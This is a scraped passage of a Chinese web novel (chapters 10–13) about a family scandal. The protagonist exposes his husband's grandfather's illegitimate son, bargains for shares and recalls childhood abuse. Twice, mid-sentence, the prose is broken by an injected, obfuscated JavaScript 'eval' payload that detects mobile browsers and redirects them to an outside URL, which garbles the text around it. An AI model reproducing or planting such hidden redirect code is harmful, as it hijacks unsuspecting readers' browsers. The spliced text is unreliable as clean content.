“一个六七岁的孩子没有离开宁家,都能被传扬开来里外耻笑这么多年,那你们现在的作派算什么?退一步讲,就算当年真的是阿宁自己不想离开,也远比你们如今的行为让人更理解共情吧。” 刚才最直接拿这件事说事的贺如松眼神躲闪,其他本来理直气壮厌恶谴责宁衣初的贺家人,也都尴尬起来。 突然意识到自己比讨伐对象更加名不正言不顺没有底气怎么办…… “何况,当年是宁家把他从福利院带回去的,被发现原来他不是宁家的亲生儿子时,他也还没满七岁,一个六七岁的孩子,去留真是他能决定的?”贺适瑕看着周遭人。 “你们不过是听宁家传出来的消息,就助长传闻说是阿宁自己贪慕虚荣,装亲儿子骗了宁家人还不愿意离开,实际上呢?谁知道阿宁当初骗过宁家的细节情况?谁看见宁家想要送阿宁回福利院,但阿宁死赖着不走的场面了吗?” 贺适瑕嘲讽地扯了扯嘴角,嘲讽对象包括他自己:“这么信宁家出来的传闻,这么为宁家义愤填膺打抱不平,要不都改姓宁算了,也省得你们担心我把股份给阿宁,将来贺氏落在我手里也迟早改姓宁。” 其他人一时没敢说话。 宁衣初饶有兴致地歪了下头:“贺影帝口条就是厉害啊。” 贺适瑕垂眸看向他,气焰一下子黯下去:“阿宁……” 贺祖母叹了声气:“好了,适瑕,知道你为宁衣初打抱不平,但没必要这么咄咄逼人……” 贺适瑕便看向贺祖母:“祖母,您是打算将祖父和舅舅这件事‘家丑不外扬’,全盘按下不提吗?” 贺祖母有些心力交瘁:“适瑕啊……你是单纯沉迷情爱,所以纵容宁衣初今天这么闹腾,想为宁衣初鸣冤叫屈,所以六亲不认……还是,你早就对你舅舅这一家子不满,想把他们赶出贺家?” 贺定邦哀哀叫了声:“妈……” 贺适瑕笑了下:“祖母希望是后者,对吗?” 贺祖母深深地看了他一眼,然后点头:“是,我宁愿你是为了争我手里最后那百分之五的贺氏股份,是为了以防万一你妈以后碍于亲情、会给你舅舅家的子女们跟你争贺氏的机会,所以想要借着你舅舅身世这事儿永绝后患,才主导致使了当下这个局面……也不愿意相信真就是一场突如其来的闹剧。” 贺适瑕说:“如果这样想,能让祖母您觉得心里舒坦一些,那也可以。您也没必要责怪阿宁,这里是贺家,如果您真的愿意不闻不问,阿宁说再多也挑不起事。何况,他只是说了点实话而已,并没有冤枉了谁,不是吗?” 贺祖母沉默不语。 贺定邦坐不住了,差点跳起来:“他冤枉我了!谁说没冤枉人!妈,我真是刚知道这事儿啊,我和您同时间知道的啊,我这心里也苦得很,我也想发火,可我连发火的底气都没有,全憋心里了,我……” “舅舅,错了。”宁衣初不急不躁提醒他,“我可没冤枉你,说你可能早就知道自己身世、只是隐瞒不报的是你的好外甥,这话可不是我说的,你怎么还当着这么多人的面就空口白牙冤枉我呢?睁眼说瞎话的事这么熟练,以前是不是没少做啊?” 贺定邦一张老脸正对着他妈哭呢,闻言差点咬碎牙。 贺祖父上气不接下气地咳嗽了几声,才说:“那我说你冤枉了我,你认不认?阿英,这小兔崽子刚才话里话外暗示,是我把责任全推给了定邦的生母、把自己说得清清白白,说我心机深沉才这么多年瞒得这么好……” “我都这把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695982|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪了,我要是真那么不要脸,我现在直接拿贺家的名声威胁你,不是更快更见效?你这么在乎贺家的名声,怎么可能舍得一只脚都踏进棺材的时候,让人来看贺家这么大的笑话?” 宁衣初歪了下头:“祖父您现在这番话的用意,不就是在拿贺家名声作威胁吗?只是说得委婉了点,但就是想让祖母想起来这方面的顾忌吧?” 贺祖母刚松动的神色又强硬了回去。 贺祖父这下是真想吐血了。 “宁衣初你这个灾星——”贺祖父想要举起拐杖打人。 但被贺祖母问住了:“秦凯,你告诉我实话,当年我们的亲生儿子,到底是不是你故意放任不救他,害死了的?” 贺祖父想也不想地否认,继续喊冤:“我没有!阿英,虎毒不食子啊!还是那话,我要是为了定邦这个私生子,害死我们的亲生儿子,我要是在乎他到这个地步,我这些年能不为他争取吗!能这么安分只在贺氏做你的副手吗!” 贺祖母没马上回复。 宁衣初半点不怕招更多记恨,笑眯眯道出贺祖母心里的迟疑:“兴许是看祖母太雷厉风行,舅舅又太扶不上墙,祖父没办法只能识时务,才没有异动的呢?毕竟是和自己对不起过的初恋女友的亲儿子,意义不轻吧,做为贺家赘婿,要是能在原配眼皮子底下把贺家给自己的私生子,那可真是太爽文了,对吧祖父?” 贺祖父怒气冲天,老脸气得涨红,看上去像是马上要找只鹤往西天飞了:“宁衣初!贺适瑕你就这么眼睁睁看着!混账东西!不肖子孙!” 贺适瑕可有可无回了句:“祖父注意身体。” 贺祖父索性不看他们,继续对贺祖母说:“阿英,我还是那句话,我们亲生儿子的事上,我心痛他夭折,但他的死,我问心无愧!你大可以去查,去找当年的医生护士去问,我不怕!” “祖父当然不怕了……”宁衣初不依不饶地再度开口。 贺如松连忙大步走过去,想要捂他的嘴——嘴上说不过,那物理捂嘴还不行吗! 但他被贺适瑕拦住了:“二哥,你在帮祖父心虚吗?” 贺如松咬牙,看着情绪浅淡的贺适瑕,问他:“适瑕,我们可是从小一起长大的兄弟,你真要做这么绝?真想把我们全都赶出贺家?” 贺如风也喊道:“适瑕,不论如何,我们都是有血缘关系的亲人,这一点是没变的啊,祖父再怎么都是姑姑的亲爸,我们爸也还是你亲舅舅……你就算真不在乎你祖父和你舅舅,那祖母呢?祖母年纪不小了,你真想看她被气出好歹来?” 还抱着贺祖母的腿、年纪最小的贺如竹,他也连忙扭头看过来:“是啊,六哥,就算我们爸不是祖母的亲儿子,但你跟我们之间的血缘关系是没变多少的啊!你妈你爸都还是我们姑姑姑父,我们兄弟姐妹还是你正儿八经的血亲啊,你怎么好像搞得跟我们没关系还有仇似的,六哥你不是看着我长大的吗!” 然而这话越说,贺祖母脸色越冷。 贺如雪站在她身边,想要制止自己的弟弟妹妹,都没找到机会扭转话题。 贺祖母推开贺如竹,冷笑了声:“是啊,可不是吗,你们还是一家人呢,只有我这个老太婆成了外人而已,哪里影响你们了。适瑕不站在你们那边,你们觉得还挺委屈是吧?” 贺如松他们终于反应过来,脸色一变,就要弥补:“不是,祖母,我们不是那个意思……” 11. 第 11 章 但贺祖母不想听了,她看向宁衣初:“你刚才想说什么,你知道秦凯为什么不怕我查?” 宁衣初莞尔:“祖父肯定比我了解祖母啊,祖母您会去查吗?查一桩五十多年前的病例?” 贺祖母没吭声。 宁衣初慢条斯理继续问:“就算您破釜沉舟不怕丢脸真去查了,又能查到什么?那年头有监控吗,连手写的病例记录只怕都早没了吧,您要怎么找到当初给您接生的医护名单?还是说您深谋远虑,还记得他们姓甚名谁,知道他们这么多年生活和工作变动,找得到人?” “别说病例记录医护名单了,五十多年过去,当年的医生护士都用不着特意封口,也都差不多能自然老死了吧?您找谁去?现在才事发,祖父干嘛要心虚怕你去查?” 贺祖父紧紧攥着拐杖。 贺祖母脸色很难看,继续问宁衣初:“你说得这么笃定,怎么,你有证据?” 宁衣初微微一笑:“我还真知道两个人证,不过人证说的话,就不知道祖母信不信了。” 贺祖母追问:“人证在哪儿?” 宁衣初笑而不语。 贺祖母沉默片刻,然后问:“说吧,你想要什么。” 宁衣初歪了下头:“就要祖母您手里剩下的百分之五贺氏股份怎么样?” 贺定邦怒道:“我就知道你没安好心!股份!你好意思这么狮子大开口!” 宁衣初耸了耸肩:“好不好意思反正都开口了,就看祖母怎么估量了,您亲生儿子的死亡真相值这个价吗?” “妈,您别听他瞎说,他今年才多大,上哪儿知道人证去?爸都说了,连维安都不知道真相,这个宁衣初他之前都不是咱们家人,他上哪儿知道去!”贺定邦语速飞快地说。 “他肯定是不知道在哪里偶然发现了不对,其实他也不肯定,只是拿出来诈我们,没想到爸心虚、没等盘问就自己承认了,这才显得他宁衣初好像什么都知道什么都确定,他其实根本不知道!他就是想骗您手里的股份!” 贺祖母没理他,继续看着宁衣初:“你确实可能在骗我。” 宁衣初无所谓:“不信就算了,我下次说点别的,看能不能跟您换到股份。” 贺祖母皱眉:“你还知道什么?” 宁衣初不打算说了:“今天累了,下次再说吧,祖母您快给今天这出戏收个尾行吗,散场了我才好回去休息。” 宁衣初语调轻快,他发现正儿八经搞坏事真是太痛快了,被指着骂都觉得身心舒畅。 果然反派就该有反派的样,他上辈子怎么会想着要周全地为人处事、和贺家人搞好关系呢? 贺祖母咬了咬牙,退了一步:“我可以把手里的股份给适瑕,但前提是他不能再转给你,这条要写到赠与合同里面。” 闻言,宁衣初纳闷:“我说得不够清楚吗?是我要,不是我帮贺适瑕要,我是指望他说话算话,把他自己的资产全都给我,但不等于我要帮他捞好处啊。” 贺祖母冷笑了声:“因为你几句话,就把我贺家的股份给你,你做什么春秋大梦?” “那很遗憾了,祖母这么公私分明。”宁衣初愉快地笑道,“其实祖母很庆幸我狮子大开口吧,您压根就不想查,人到老了,宁肯糊涂把日子过下去。” 贺祖母重重拍了面前的桌子:“宁衣初!你、你——” 贺如雪连忙给她倒水:“祖母,您消消气……” 贺祖母手都在抖,握不住杯子。 但她到底没舍得对贺如雪发火,缓了会儿后,她看向贺祖父、贺定邦和他的其他子女们,沉下脸说:“不论如何,我代表的是贺家,我的私事也是贺家的脸面,这么丢人的事,不能传出去,贺家丢不起这个人——至少在我还活着的时候,我不能看着贺家被人这样笑话。” 她这番话,让贺定邦他们都松了口气。 哪怕贺祖母之后私下里不再认他们,但只要不传出去,他们在外面就还是贺家人、还能拿贺家人的派头,顶多就是从此彻底和贺氏股份无缘了而已……反正在这之前,本来就可能性不高。 贺如竹又小心翼翼喊了声:“祖母,您不会不要我们的对吗……” 贺祖母闭了闭眼,重新睁开眼后决定道:“你们——除了如雪之外,都搬到偏宅去,今天就搬,我不叫你们,你们就别到我跟前现眼。如雪要是舍不下你爸和这些兄弟姐妹们,那你也可以陪他们一起搬。” 贺如雪哽咽了声:“我陪着您,祖母。” 贺定邦还想哀求,这时贺适瑕的父母——贺维安和唐青山回来了。 看着餐厅里凄风苦雨的诡异情况,贺维安尚且不清楚发生了什么。 “这是怎么了?妈,你为什么让人急哄哄把我们叫回来?怎么一个两个都愁眉苦脸的,大哥你坐地上干什么,还有如雪你们,在哭吗?”贺维安满头雾水,最后看向贺适瑕和宁衣初。 顿了顿之后,贺维安说:“小初病好了啊,能下楼了就好。适瑕,发生什么事了?” 宁衣初用十足十幸灾乐祸、挑拨离间的语气说:“发生了点好事,妈,恭喜您,以后您可就是贺家独生女了。我出了不少力呢,您可得记得给我送礼。” 按这辈子的时间线,宁衣初这会儿刚和贺适瑕结婚,初来乍到,他在贺家是小心谨慎的,称呼人时也远没有这么自在,更不可能用这种态度主动索礼。 宁衣初的表现让贺维安一愣,意外之余还有些不满,但接着她就顾不上疑惑宁衣初的态度了。 贺维安知道贺定邦的身世——至少她自己以为自己是完全知道的——听到宁衣初关于“独生女”的说法,再看餐厅里的情形,她陡然就明白过来,是东窗事发了。 “妈……”贺维安下意识看向贺祖母。 贺祖母有些失望地看着她:“维安,你就帮着你爸骗我。” 贺维安没有急着辩解,她走到贺祖母身边,低下头,沉声说:“我是两年前知道的,那段时间妈您正好病了,一直住院,差点没挺过来,虽然后来好了,出院了以后看着也仍然精神矍铄,但我不敢刺激您,怕您受不住又一病不起,不是有意想帮着爸骗您的。妈,对不起。” 相濡以沫五十多年的老伴和操心了这么多年的长子都让她伤心,现在也就贺维安这个亲生女儿还让贺祖母有些慰藉。 虽然贺祖母本来有点失望于女儿的隐瞒不报,但说到底没有多怪贺维安,现在又听到贺维安这么熨贴的说法,当即宽心不少,也不想再多骂一个人了。 她叹了声气,只继续问:“那两年前你是怎么知道这件事的?” 贺维安看了眼贺定邦这个大哥,然后回答道:“您当时病重住院,我就让家里其他人都一起做了次身体检查,结果发现了异常——爸提前绕过我,篡改了大哥和如雪六兄弟姐妹的血型报告。” 贺祖父心虚地不吭声。 “那是我们贺家投资的私人医院,本来就比较好操作,那个医生也和爸‘合作’很多年了,以前一直没出过岔子,但两年前那次可能是人太多了,容易混乱,导致最后的体检报告有内容出现纰漏。” 贺维安回忆道:“体检报告我没有亲自看,是让秘书过了一遍,反倒比我自己看得仔细,她发现如雪和如风姐妹俩的报告里有两处血型写错了,就跟我说有可能存在医生糊弄体检报告的情况。” “我当时本来也没多想,也以为是医院那边出报告的不仔细,但我担心他们是体检过程中就操作有误,所以在到医院探望您时,顺便找医生说了下。没想到那医生心虚,被我察觉到了不对,盘问之下我就知道了是爸让改的血型。” 贺维安看了眼扶着拐杖的贺祖父,叹了声气:“我当时不明情况,但也不想胡乱怀疑爸,干脆就直接去问了他为什么要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695983|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让医生改血型报告,爸就跟我说了早年的事……” “妈,对不起,我当时确实想的是多一事不如少一事,毕竟我们一家四口五十年了,大哥的身世突然揭露出来,我怕您承受不住……所以就隐瞒了您。” 听完了贺维安的交代,贺祖母的心绪反倒已经平复下来不少。 她没有做点评,只对贺维安说了她目前的处置方案:“为了贺家的名声,这件事不能让外界知道。但我也不想再看到你爸和定邦他们,所以我刚才已经跟他们通知过了,除了如雪,其他人都搬到偏宅去。维安,你怎么想?” 闻言,贺维安皱了皱眉,有些迟疑。 贺祖母见她犹豫,难以置信:“你还想帮着你爸说话不成?” “祖母,您真有点年纪大了忘性大,妈不是还不知道舅舅是祖父的私生子吗,当然还会觉得祖父和舅舅罪不至此了。”宁衣初莞尔道。 贺祖母这才想起来,于是刚对女儿生出的不快又沉了回去。至于宁衣初毫不尊老的话,贺祖母实在没精力斥责了。 贺维安本来想责备宁衣初怎么可以这样对祖母说话,但听到后半句,她愣在原地,一时也没了声音,只是视线下意识看向了说出这话的宁衣初。 宁衣初愉快回答:“不客气,帮您说话应该的。” 贺维安不知道怎么回答他,只得愣愣地看向贺祖父:“爸……什么意思?您不是说,大哥只是您怕妈没了亲生儿子伤心,正好捡到的弃婴吗?” 贺祖父被女儿这么失望地看着,面露的惭愧难得带了点真心:“……对不起,维安,这件事是爸瞒了你,你大哥他其实……” 贺维安骤然冷下脸:“爸!不用说了……” 她别过眼,沉默了几秒,重新看向贺祖母:“妈,您想怎么处置就怎么处置吧,我听您的,没有意见。” 家事上,贺祖母话语权最大,贺维安向来不会跟她对着干,偶尔意见不一致,贺维安一般也是妥协的那个——与此同时,公司的事务上面,贺祖母这个前任掌权人很理性,既然交给贺维安了那她就彻底放手了,不会再去插手,因此母女俩在公事私事上都挺融洽,并没有“太上皇”和“新皇”之间那种微妙的矛盾。 因为贺维安掌握着贺氏,所以这个家里,近年来最有威严的,其实是贺维安这个当家人。 面对贺祖母,其他人还敢哭天喊地争取一下。 但面对已经决定支持贺祖母的贺维安,连贺祖父这个亲爹都没再吱声,贺定邦虽然是大哥,但即便是名正言顺的时候,贺定邦也有些怕这个妹妹,这会儿名不正言不顺了,自然更不敢说什么。 贺定邦的子女们也没话说。 贺维安看向丈夫唐青山:“青山,去安排一下佣人,帮爸他们尽快把行李都搬去偏宅,动静轻点。” 唐青山点了点头,先出去了。 然后贺维安又对贺祖母说:“妈,既然已经做好决定了,就别再多想了,我陪您回房间,我们母女俩再说会儿话吧……如雪也一起吧。” 贺祖母年迈的脸上满是疲惫,点了点头。 贺如雪轻声回答:“好的,姑姑。” 贺维安又看了看餐厅里的其他人,对事不关己似的的贺适瑕,以及满目轻盈愉快的宁衣初,她多看了几秒,又想到刚才宁衣初毫不掩饰挑事目的的“独生女”说辞…… 她当下没再说什么,和贺如雪一起,扶着贺祖母回房了。 宁衣初笑盈盈地接收了周遭人的怒目相视,起身道:“戏告一段落了,那我也走了,各位慢慢搬家。” 周遭的视线更加带火气了,要不是贺适瑕在旁边挡着,加上宁衣初怀孕了确实让人有所顾忌,现在就已经有人上前动手动脚了。 贺适瑕要跟着:“你回房间吗?” 宁衣初蹙眉:“你跟什么跟,地板收拾干净了吗?别想浑水摸鱼偷懒。” 12. 第 12 章 刚才收拾地板到一半的贺适瑕:“……好,我收拾完了再去找你。” 宁衣初走出了餐厅,贺适瑕目送了他,然后旁若无人地蹲下来收拾地面。 贺如林也蹲到他旁边,好奇问:“情圣,到底什么情况?” 他看起来状态挺放松,一点都没有因为他爹身世剧变、一家人要被赶出主宅而难过。 贺适瑕心平气和地回答:“阿宁想开了,既然以前别人都爱说他撒谎成性,那他就改掉,决定往后凡事实话实说,待人接物坦诚,挺好的。” 贺如林:“……你俩都疯了?” 贺如竹抱着贺祖母刚才坐的椅子腿,哀怨道:“六哥,你真的太让我们伤心了,果然结了婚的男人就变了一个人,我们又跟你争不了什么,你干嘛这么绝情……” 老四贺如月靠在墙边,叹了声气:“适瑕,好歹这么多年一家人,你跟我们说句实话,今天的事真不是你策划的?” 贺适瑕看起来还挺有问必答:“不是,跟我无关——我这样说,不是想推脱责任,也没有暗示你们别怪我、去责怪阿宁,你们不用多想,我只是说实话,不想抢阿宁的风头和功劳。” “还功劳?他有什么功劳!贺适瑕你个混账东西!”贺祖父终于回过神来,抬起拐杖就丢。 贺适瑕正好收拾干净了地板,起身躲开,然后对贺祖父略一颔首:“阿宁今天揭开了往事,让祖父您面对过去犯下的错误,不用到死都藏着秘密,我觉得确实是功劳。” 贺祖父更气急败坏了:“你还咒我死!” 贺适瑕没再回应,他拿着清洁工具和垃圾桶往厨房那边去,交给佣人后,他洗干净手,然后去找宁衣初。 宁衣初没有回房间。 他病了几天,昏睡期间一直躺着,浑身都软,这会儿刚醒,见外面阳光好,于是心情舒畅的他选择了到外面花园里坐会儿。 贺适瑕顺着佣人的指路找过去时,宁衣初正坐在花园深处的秋千上。 那是一架最普通款式的秋千,两条麻绳系在树枝上垂下来,在离地半米的高度连接了一块不大不小的木板。 很早之前贺家就没人玩它了,只是也没人会特意想要拆掉,于是佣人整理花园时,也时不时养护一下秋千,倒不至于年久失修、坐上去就坏。 大树枝繁叶茂,阳光没穿过几缕,于是在群芳争艳的花园深处映出了一块近圆的阴影地。 宁衣初坐在树荫下的秋千上,双手抓着两边的麻绳,脑袋虚靠在左边绳子上,整个人慢悠悠地晃着,脚偶尔踩地蹭一下,让秋千保持摇摆,看起来像是在放空发呆。 贺适瑕看着他单薄的身影,和白得几乎透明的皮肤,感觉像是看到了一只振翅欲飞的脆弱蝴蝶。 蝴蝶在花丛间飞舞,似乎随时都会力竭坠落。 贺适瑕心头一悸,脚下急促了两步,又回过神来,放缓了步调,平和地走过去。 “阿宁。” 宁衣初额头压在麻绳上,闻声也没回头,还是慢悠悠地晃着。 贺适瑕走到秋千侧前方站定,看着宁衣初苍□□致的眉眼,突然开口:“我十四岁那年,和家里一起去参加宁家的宴会,在宁家的后花园见过你,那也是我第一次见到你,你当时应该八岁左右吧。” 宁衣初面无波动。 贺适瑕轻声说:“你那时候趁着天黑了、大家都在室内和前院走动,悄悄去割断了后花园秋千的绳子。” 这下宁衣初有点兴趣了,他抬眸:“既不阻止,也不告发,搁阴暗角落里偷偷看,看完了记了这么多年,果然你也从小不是什么好东西。” 贺适瑕不置可否:“因为当时看到你头上贴着纱布缠着绷带,是一边掉眼泪,一边在用美工小刀割,效率不高,好像身体也不太好,割一会儿还要停下来在地上坐一会儿休息一下,看起来又可怜又辛酸。” 宁衣初眨了眨眼,嗤笑了声。 “所以我当时没有出面制止你,最后看到你是直到把绳子割断才停的,也就用不着担心了,毕竟那么明显损坏了的秋千,伤不了人。” 贺适瑕看着宁衣初漆黑的眼,好像又看到了那个夜色里,眼中含着水雾、孤立无援的小孩。 宁衣初懒洋洋道:“是啊,那个时候比较蠢,干坏事都胆子不够——但结果不错,宁家人没怀疑是我做的,因为那架秋千是宁则棋做来想要送给宁则书的,宁绍义在秋千刚做好的时候跟宁则棋打过架,放狠话说要毁了那秋千,加上我用的是宁绍义他妹妹的美工刀,还故意把美工刀丢在了后花园的垃圾桶里,所以……” ——宁则书,宁家的小少爷,年少丢失后好不容易找回去的真少爷。 宁则棋是宁则书的亲哥哥,宁绍义论辈分是宁则棋和宁则书的叔叔,但他的年纪比宁则棋还小几岁,所以平常来往更像是同辈相处。 回想起年幼往事,宁衣初笑眯眯的,语调与有荣焉:“那件事到最后,宁家人都以为是宁绍义拿他妹妹的美工刀割断了秋千绳子,那可是宁家失而复得的小宝贝的秋千,宁绍义被狠狠责骂了一顿。” 宁衣初带笑的眉眼落在贺适瑕眼里,只觉得密不透风的难过。 “他们没有怀疑你……是因为那天晚上你理应起不来,只能躺在床上休息吧。”贺适瑕轻声说。 宁衣初歪了下头。 贺适瑕:“当时你头上的伤,是因为宁绍义和宁则棋打赌,输了的那个要帮宁则书‘出气’,也就是找你的麻烦,让你不能出席即将到来的宴会,结果宁绍义输了……他趁你下楼绊了你一下,你摔下楼梯,运气好才只撞到了头。” 所以那晚在后花园,宁衣初割绳子效率低,虽然有他本身就身体素质欠佳的缘故,但更多是因为那时候他的确正在生病,摔下楼受到惊吓所以在发烧,撞破了头所以头晕眼花。 然而他被宁绍义害得摔下楼梯受伤生病,宁家对此也就不痛不痒的一句“绍义也不是故意的”,宁绍义连句责备都没得到,这件事还不如“宁则书的秋千被割断了”严重。 可即便如此,宁衣初当年也只能采取割断秋千,这么一个微不足道的方式来报复……贺适瑕回想起来,只觉得心疼懊恼。 宁衣初听得出来贺适瑕想要“心疼”他,但他不稀罕,特意提醒道:“是啊,摔破了脑袋,本来人都爬不起来了,但报复心支撑下,一个八岁的小孩居然可以自己悄悄溜出卧室,去别人的卧室里偷了美工刀,又没被人发现地到后花园去,坚持完成了割绳子这壮举,这算是厉害,还是可怕呢?” 贺适瑕:“阿宁……” 宁衣初冷下脸:“贺适瑕我告诉你,我打小就忘恩负义报复心重,还执行能力强,只是碍于没能耐,所以才显得过去那些报复行为不痛不痒罢了,你少给我贴些可怜兮兮的标签,也别指望你伏低做小,我就会不折腾你和贺家。” 贺适瑕摇了摇头:“我没这样想,我只是很后悔曾经作壁上观……” 如果可以回到年 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“你搬到贺家来的时候带的东西不多,上辈子你不在了之后,我去宁家找过你的旧物,在你小学时期的思政课本里,看到了你的日记……”贺适瑕轻声回答。 宁衣初微微一怔。 他小学的时候,是有写日记的习惯的。一来是想要多多写字、暂时不会的字就查字典或者写拼音,加强记忆利于学习,二来是很多话没人可说,干脆写在日记里倾诉。 他最开始是用多余的作业本写日记,但没写多久就被宁家人翻他东西时发现了。 因为他在日记里写“想要回福利院,待在宁家不开心”,宁家人很生气,骂他白眼狼不知感恩,罚他在院子里跪了几个小时,直到他受不了晕过去。 再醒过来时,就听宁则棋说,已经把他的日记本丢到壁炉里烧掉了,他们也不许他再写日记。 “你在日记里乱写,以后被人看到了,还以为我们家对你不好,你凭什么那么写?你留着日记本,想以后用来当什么证据吗?”宁则棋当时不满道。 宁则棋比他的亲弟弟、真少爷宁则书大了十三岁,也比宁衣初大十三岁,对宁衣初这个假弟弟的态度格外恶劣,年幼的宁衣初很怕他。 可宁衣初还是想写日记,他实在需要一个地方倾诉。 但再用单独的日记本,肯定迟早还会被发现,宁家人可不觉得他在那个家里有隐私——于是宁衣初想到了,把思政课本当成日记本用。 他们小学虽然发了思政课本,但从来不用,小学课本空白的地方也多,省着点写,当一学期日记本够用了,而且只要和其他课本放在一起,根据上次日记本被发现的经验来看,就不会被发现了。 果然后来没再被发现过。 直到上了初中,没有合适的课本后,宁衣初突然就没那么想写日记了,于是这个习惯在小学毕业后停止了。 时间过去太久,如今乍然听到贺适瑕说起他小学时期的日记,宁衣初沉默了片刻。 然后他突然松开抓着的秋千绳,直接从秋千上跳了下来。 秋千荡得不高,这么跳下来其实没什么事,但还是看得贺适瑕心头一悸,下意识伸出手想要抱住宁衣初。 宁衣初拍开他的手:“你提醒我了,我还有东西在宁家,得回去拿。再说了,只给‘婆家’送大礼多不合适,宁家可是我‘娘家’,我结婚几天了,回门送个礼去。” 贺适瑕听着他阴阳怪气的用词,无奈笑了笑。 13. 第 13 章 见宁衣初大有说走就走的意思,贺适瑕温声问:“现在就去吗?明天或者后天,我陪你一起回去,好不好?” 宁衣初挑眉看他:“怎么,我成犯人了,没有你这个狱警盯着就不能出去放风?” 贺适瑕放轻了声音:“不是狱警,你当我是你的保镖和司机,可以吗?阿宁,你病刚好,刚才又在餐厅里说了那么多话,再休息休息吧。” “而且,我约好了律师下午会来,合同都准备好了,你签了字,剩下的手续律师会去办,过不了几天,你就能拿到我名下的所有资产了。这件事,会不会稍微比回宁家更重要点?” 宁衣初眨了眨眼,觉得钱还是比宁家重要多了。 于是他坐回了秋千上,慢悠悠晃了一下,说:“全部都给我?” 贺适瑕莞尔,觉得宁衣初当下这谨慎的反应很可爱。 “嗯,我现在就死了的情况下能留下来的所有资产,都是你的。”贺适瑕说,“和继承遗产比起来,区别大概在于你不用和我父母瓜分,以及我还活着,以后还能创造资产……” “阿宁,这样算起来,是不是我活着比死了,要有价值点?” 宁衣初一点都没觉得受之有愧,他慢悠悠说:“你以后的新资产也给我的话,那的确是。” 贺适瑕笑道:“当然都给你。” 宁衣初抬眼扫了扫他:“那离婚的时候,你记得把这一条写在离婚协议里。” 贺适瑕先点了点头,没和宁衣初默认要离婚的态度唱反调,然后才随口一提似的说:“不过离婚了的话,没有配偶关系在,财产赠与方面好像得交些税吧,金额估计不小呢……” 听出了贺适瑕的言外之意,宁衣初故意呛他:“果然是混娱乐圈的,天天想着偷税漏税。” 只是想借“合法免税”的由头,从而试探说不急着离婚……的贺适瑕被噎了下。 “对了,我的手术安排好了吗?”宁衣初又问。 贺适瑕微微一顿,道:“明天先去医院检查一下情况,和医生确定手术方案,可以吗?你怀孕的情形比较特殊,虽然现在月份还不大,但还是可能涉及到开腹,即便你身体状态可以支撑,也很大概率没办法检查完了马上就能做手术,可能需要一点时间安排。如果明天检查完了,你还有精力的话,正好从医院出来就去宁家一趟,好不好?” 宁衣初坐在秋千上,微微歪头:“有这么体贴的老公,感动死了呢。” 听到宁衣初故意捏着嗓子、黏糊糊地称他为“老公”,贺适瑕虽然知道这是阴阳怪气的挖苦,但还是难以控制地心头一紧,呼吸都断了几秒。 宁衣初注意到了,觉得贺适瑕这人莫名其妙。但与此同时,他又觉得挺好玩的。 于是他故意拿腔拿调地继续喊:“老公怎么不说话了?不喜欢我这样叫吗,那我换个叫法好不好,适瑕哥哥?” 宁衣初就这么笑盈盈地坐在秋千上,单薄的身体微风一样晃着,贺适瑕看着他的眉眼,差点忍不住上前亲吻他。 好不容易忍住了,贺适瑕克制地喊了声:“阿宁……” 宁衣初突然松开了抓着秋千绳的双手,朝贺适瑕索取拥抱似的伸出来:“过来啊,哥哥。” 最后两个字被他说得缓慢缱绻,像是在舌尖绕了好几圈,才珍重地说出来似的。 本就心神不稳的贺适瑕不做多想,生怕他从秋千上摔下来,连忙上前。 宁衣初却收回了一只手,重新抓上身侧的秋千绳。 至于还没收回的那手,在贺适瑕靠近后,毫不留情地落到了贺适瑕脸上。 被扇了一巴掌的贺适瑕微微一怔。 宁衣初重新抓稳秋千绳,脸色已经冷下来:“你还挺敢想。” 贺适瑕摸了摸被打的左脸,侧过头,理所当然地递上右脸:“要对称一下吗?” 见他这反应,宁衣初愕然一瞬,眨了眨眼:“……滚。” 贺适瑕往侧前方走了几步,免得挡住宁衣初的秋千。 然后他若无其事地开启了新话题:“对了,你生病这几天里,我让人去康宁开始查了,三个月前我们俩出意外那晚,酒店的监控本来就不齐,而且那边的监控是三个月一覆盖,如今已经看不到了……” 和综合业务发展的贺氏集团不同,宁家专营酒店业务,旗下连锁的康宁大酒店全国有名。 三个月前,宁家给小少爷宁则书办生日宴,也庆祝他大学毕业,广邀商界名流,就是在康宁大酒店A市总店办的。 因为到场人士大多有点身份,所以宴会厅室内区域的监控都没有开,只开了外围的,免得出入有安全问题、事后却没法查。 除此之外,考虑到有的宾客可能需要休息室,或者因为各种原因当晚需要入住酒店,所以宁家特意提前空出了一整层楼的客房,还特意腾出了一部电梯,当晚只那层楼的客房专用。 电梯里的监控是在运行的,但客房楼层走廊里的监控关掉了。 和贺适瑕发生了那晚意外后,上辈子宁衣初养好了身体,也曾想要去酒店调查,但那是宁家的地盘,宁衣初能力有限,想要查宴会那晚的事,再怎么遮掩身份也还是避不开宁家,还没走进监控室就被宁则棋发现了,结果自然是什么也没查着。 听到贺适瑕的话,宁衣初打断了下:“所以,刚出事的时候,你找检验机构查过我的药盒,却没查过酒店那边的监控,现在才后知后觉想起来这件事吗?” 贺适瑕抱歉道:“是我的疏忽。” 然后他又解释了下:“当时我在医院等你醒,其实我自己状态也比较蒙,正好贺如林毛遂自荐,说可以帮忙去酒店看看监控,免得遗漏了疑点。” 